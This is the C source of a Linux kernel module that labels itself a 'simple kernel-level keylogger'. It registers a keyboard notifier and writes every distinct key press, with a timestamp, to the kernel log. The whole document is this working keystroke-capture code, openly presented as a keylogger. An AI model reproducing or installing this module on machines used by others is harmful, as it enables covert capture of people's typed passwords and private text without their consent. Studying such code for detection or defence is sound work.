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keylogger.c
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#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/keyboard.h>
#include <linux/init.h>
#include <linux/timekeeping.h>
#define LICENSE "GPL"
#define AUTHOR "1day & isPique"
#define DESCRIPTION "A simple kernel-level keylogger for Linux operating systems"
#define VERSION "0.2"
static const char *keymap[KEY_CNT] = {
[KEY_ESC] = "ESC",
[KEY_1] = "1",
[KEY_2] = "2",
[KEY_3] = "3",
[KEY_4] = "4",
[KEY_5] = "5",
[KEY_6] = "6",
[KEY_7] = "7",
[KEY_8] = "8",
[KEY_9] = "9",
[KEY_0] = "0",
[KEY_MINUS] = "MINUS",
[KEY_EQUAL] = "EQUAL",
[KEY_BACKSPACE] = "Backspace",
[KEY_TAB] = "Tab",
[KEY_Q] = "Q",
[KEY_W] = "W",
[KEY_E] = "E",
[KEY_R] = "R",
[KEY_T] = "T",
[KEY_Y] = "Y",
[KEY_U] = "U",
[KEY_I] = "I",
[KEY_O] = "O",
[KEY_P] = "P",
[KEY_LEFTBRACE] = "LEFTBRACE",
[KEY_RIGHTBRACE] = "RIGHTBRACE",
[KEY_ENTER] = "ENTER",
[KEY_LEFTCTRL] = "LEFTCTRL",
[KEY_A] = "A",
[KEY_S] = "S",
[KEY_D] = "D",
[KEY_F] = "F",
[KEY_G] = "G",
[KEY_H] = "H",
[KEY_J] = "J",
[KEY_K] = "K",
[KEY_L] = "L",
[KEY_SEMICOLON] = "SEMICOLON",
[KEY_APOSTROPHE] = "APOSTROPHE",
[KEY_GRAVE] = "GRAVE",
[KEY_LEFTSHIFT] = "LEFTSHIFT",
[KEY_BACKSLASH] = "BACKSLASH",
[KEY_Z] = "Z",
[KEY_X] = "X",
[KEY_C] = "C",
[KEY_V] = "V",
[KEY_B] = "B",
[KEY_N] = "N",
[KEY_M] = "M",
[KEY_COMMA] = "COMMA",
[KEY_DOT] = "DOT",
[KEY_SLASH] = "SLASH",
[KEY_RIGHTSHIFT] = "RIGHTSHIFT",
[KEY_LEFTALT] = "LEFTALT",
[KEY_SPACE] = "SPACE",
[KEY_CAPSLOCK] = "CAPSLOCK",
[KEY_F1] = "F1",
[KEY_F2] = "F2",
[KEY_F3] = "F3",
[KEY_F4] = "F4",
[KEY_F5] = "F5",
[KEY_F6] = "F6",
[KEY_F7] = "F7",
[KEY_F8] = "F8",
[KEY_F9] = "F9",
[KEY_F10] = "F10",
[KEY_NUMLOCK] = "NUMLOCK",
[KEY_SCROLLLOCK] = "SCROLLLOCK",
[KEY_KP7] = "KP7",
[KEY_KP8] = "KP8",
[KEY_KP9] = "KP9",
[KEY_KPMINUS] = "KPMINUS",
[KEY_KP4] = "KP4",
[KEY_KP5] = "KP5",
[KEY_KP6] = "KP6",
[KEY_KPPLUS] = "KPPLUS",
[KEY_KP1] = "KP1",
[KEY_KP2] = "KP2",
[KEY_KP3] = "KP3",
[KEY_KP0] = "KP0",
[KEY_KPDOT] = "KPDOT",
[KEY_F11] = "F11",
[KEY_F12] = "F12",
// Add more keys as needed
};
static int last_pressed_key = -1;
static int keylogger_notify(struct notifier_block *nblock, unsigned long code, void *_param) {
struct keyboard_notifier_param *param = _param;
struct timespec ts;
char timestamp[64];
if (code == KBD_KEYCODE) {
if (param->value < ARRAY_SIZE(keymap) && keymap[param->value]) {
if (param->value != last_pressed_key) {
ktime_get_real_ts(&ts);
snprintf(timestamp, sizeof(timestamp), "%ld.%09ld", ts.tv_sec, ts.tv_nsec);
printk(KERN_INFO "[%s] Key pressed: %s\n", timestamp, keymap[param->value]);
last_pressed_key = param->value;
}
}
}
return NOTIFY_OK;
}
static struct notifier_block keylogger_nb = {
.notifier_call = keylogger_notify,
};
static int __init init_keylogger(void) {
int result;
result = register_keyboard_notifier(&keylogger_nb);
if (result) {
printk(KERN_ERR "Failed to register keyboard notifier\n");
return result;
}
printk(KERN_ALERT "Keylogger loaded into the kernel\n");
return 0;
}
static void __exit exit_keylogger(void) {
unregister_keyboard_notifier(&keylogger_nb);
printk(KERN_ALERT "Keylogger unloaded from the kernel\n");
}
module_init(init_keylogger);
module_exit(exit_keylogger);
MODULE_LICENSE(LICENSE);
MODULE_AUTHOR(AUTHOR);
MODULE_DESCRIPTION(DESCRIPTION);
MODULE_VERSION(VERSION);